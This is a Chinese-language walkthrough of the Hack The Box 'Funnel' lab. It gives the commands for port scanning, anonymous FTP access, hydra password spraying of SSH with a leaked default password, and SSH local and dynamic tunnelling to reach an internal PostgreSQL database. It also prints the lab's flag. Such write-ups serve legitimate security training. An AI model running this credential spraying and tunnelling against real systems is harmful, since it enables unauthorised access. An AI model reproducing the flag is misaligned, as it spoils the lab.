HTB:Funnel[WriteUP]
连接至HTB服务器并启动靶机
靶机IP:10.129.128.86
分配IP:10.10.16.12
1.How many TCP ports are open?
使用fscan对靶机进行端口扫描:
fscan -nopoc -nobr -no -h {TARGET_IP}
由扫描结果可见,靶机开放:21、22 共2个端口
2.What is the name of the directory that is available on the FTP server?
使用nmap对靶机21端口(FTP服务默认端口)进行脚本、服务信息扫描:
nmap -sC -sV -p 21 {TARGET_IP}
由nmap扫描结果可见,FTP服务器上的可用目录名称为:mail_backup
3.What is the default account password that every new member on the "Funnel" team should change as soon as possible?
同时由nmap扫描结果可知,FTP服务器允许匿名登录,使用账号:Anonymous
连接至靶机FTP服务器:
ftp {TARGET_IP}
输入账户:Anonymous,在输入密码时直接回车即可:
列出所有共享文件夹:
dir
进入mail_backup目录中:
cd mail_backup
再列出该目录中的所有文件:
将该目录中的两个文件下载到本地中:
get password_policy.pdf
get welcome_28112022
使用cat命令查看welcome_28112022文件内容:
cat welcome_28112022
对文件内容进行一下机翻:
来自:root@funnel.htb
致:optimus@funnel.htb albert@funnel.htb andreas@funnel.htb christine@funnel.htb maria@funnel.htb
主题:欢迎加入团队!大家好,
我们诚挚地欢迎您加入我们的团队。
我们认为您将成为“漏斗”团队的重要资产,并希望确保您尽可能顺利地适应。
我们已经为您设置了访问我们内部基础设施所需的帐户。请务必仔细阅读随附的密码政策。
上面提到的所有步骤都应该尽快完成。如果您有任何问题或疑虑,请随时直接联系您的经理。
我们希望您能与我们度过一段美好的时光,
写自Funnel 团队。
这里可以从收信人拿到几个账号名:optimus、albert、andreas、christine
另一个文件是PDF文件,直接在桌面上双击打开即可:
我这里直接把图片喂给了豆包(字节跳动的一个AI)让它对图片中的文本进行翻译:
《密码策略》
概述: 密码是我们网络安全策略的关键部分。本策略的目的是确保所有资源和数据都得到充分的密码保护。遵循安全的密码策略至关重要,因此我们提供了这份文件供你参考。该策略适用于所有负责一个或多个账户或有权访问任何需要密码的资源的用户。
密码创建:
所有密码都应足够复杂,以防止任何人轻易猜出。
此外,员工在选择密码时也应运用常识。他们必须避免容易被破解的基本组合。例如,从安全角度来看,“password”、“password1”和“Pa$$wOrd”这样的选择同样不好。
密码应该是唯一的,只有选择它的用户才能理解其含义。
在某些情况下,有必要以一定的频率更改密码。
默认密码(例如为新用户创建的密码)必须尽快更改。例如,“funnel123#!#”这样的默认密码必须立即更改。
文中提到:funnel123#!# 这样的密码必须立即更改
4.Which user has not changed their default password yet?
将我们在上文从信件中收集到的几个用户名写入文件中:
echo '{USER_NAME}' >> users.txt
使用hydra工具对以上几个用户使用默认密码进行撞库:
hydra -L users.txt -p 'funnel123#!#' ssh://{TARGET_IP}
由hydra输出结果可见,christine用户仍然在使用默认密码funnel123#!#
5.Which service is running on TCP port 5432 and listens only on localhost?
对靶机christine用户进行SSH服务登录:
ssh christine@{TARGET_IP}
依次使用ss命令查看当前网络状态:
ss -lt
ss -ltn
-l:表示只显示监听状态的套接字
-t:表示只显示 TCP 协议的连接
-n:表示不进行域名解析
由展示结果可见,5432端口对应的则是postgresql服务
6.Since you can't access the previously mentioned service from the local machine, you will have to create a tunnel and connect to it from your machine. What is the correct type of tunneling to use? remote port forwarding or local port forwarding?
由于该服务设置只能本地访问,而且靶机并未安装PostgreSQL客户端:
接下来我们利用SSH服务将1425端口本地转发到了靶机5432端口上
这意味着我们访问本地1425端口就相当于访问靶机5432端口:
ssh -L 1425:localhost:5432 christine@{TARGET_IP} -f -N
查看本地端口连接,已经出现了127.0.0.1:1425
意味着本地端口转发成功(local port forwarding):
7.What is the name of the database that holds the flag?
使用apt对PostgreSQL客户端进行安装:
apt install postgresql-client
使用psql对数据库进行连接:
psql -U christine -h localhost -p 1425
使用命令列出现有数据库:\l
连接secrets数据库:
\c secrets
列出该数据库的表:
\dt
检索flag表中的数据:
SELECT * FROM flag;
ROOT_FLAG:cf277664b1771217d7006acdea006db1
8.Could you use a dynamic tunnel instead of local port forwarding? Yes or No.
当然是:Yes,我们尝试动态穿透并连接至靶机PostgreSQL数据库
先将先前的SSH本地代理进程关闭:
killall ssh
启动SSH将本地1425端口流量全部转发到靶机上:
ssh -D 1425 christine@{TARGET_IP}
对/etc/proxychains4.conf文件进行编辑,确保dynamic_chain、random_chain已被注释:
并将strict_chain前面的注释符删掉:
来到最下方的[ProxyLixt]模块中,添加:
socks5 127.0.0.1 1425
通过proxychains工具,连接到靶机PostgreSQL数据库:
proxychains psql -U christine -h localhost -p 5432
简单总结一下本地端口转发和动态穿透代理的优缺点:
本地端口转发:端口对应端口,只能使用固定配置好的远程端口,安全性高,性能较好
动态穿透代理:端口对应主机,靶机所有请求来自本地端口,连接灵活,隐藏真实IP地址